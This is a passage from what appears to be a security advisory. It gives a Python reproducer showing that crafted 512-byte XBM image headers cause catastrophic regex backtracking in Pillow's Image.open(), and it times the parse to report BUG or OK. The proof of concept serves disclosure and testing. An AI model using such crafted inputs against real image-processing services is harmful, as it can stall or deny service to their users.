Advisory

GHSA-xgh8-jp6q-p5x8

Details, part 3 of 3. The advisory

Details

The reproducer

<details>
<summary>Reproducer — <code>repro</code>, 1,138 bytes (click to open)</summary>

Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.

#!/usr/bin/env python3
# XbmImagePlugin.xbm_head catastrophic backtracking, reached from Image.open()
# on a <=512-byte stream. Prints BUG if a failing 512-byte header takes
# super-linearly long while the same-shaped valid header opens instantly.
import io, time
from PIL import Image

def hdr(k, tail):
    d = b""
    for name in (b"_width 1\r", b"_height 1\r", b"_x_hot 1\r", b"_y_hot 1"):
        d += b"#define" + b" " * k + name
    d += b"\r" * k + tail
    return d + b"A" * (512 - len(d))

def timed(data):
    s = time.perf_counter()
    try:
        im = Image.open(io.BytesIO(data)); r = f"{im.format} {im.size}"
    except Exception as e:
        r = type(e).__name__
    return r, time.perf_counter() - s

ctl, tc = timed(hdr(60, b"_bits[]"))
print(f"control k=60 '_bits[]': {ctl} in {tc:.3f}s")
ts = {}
for k in (10, 15, 20, 25):
    r, ts[k] = timed(hdr(k, b"_bits"))
    print(f"attack  k={k:2d} '_bits'  : {r} in {ts[k]:.3f}s", flush=True)
# k=60 (fits easily in 512 bytes) runs for minutes; not executed here.
bug = ctl.startswith("XBM") and tc < 1 and ts[25] > 2 and ts[25] > 5 * ts[15]
print("BUG" if bug else "OK")

</details>

---

Sources & licences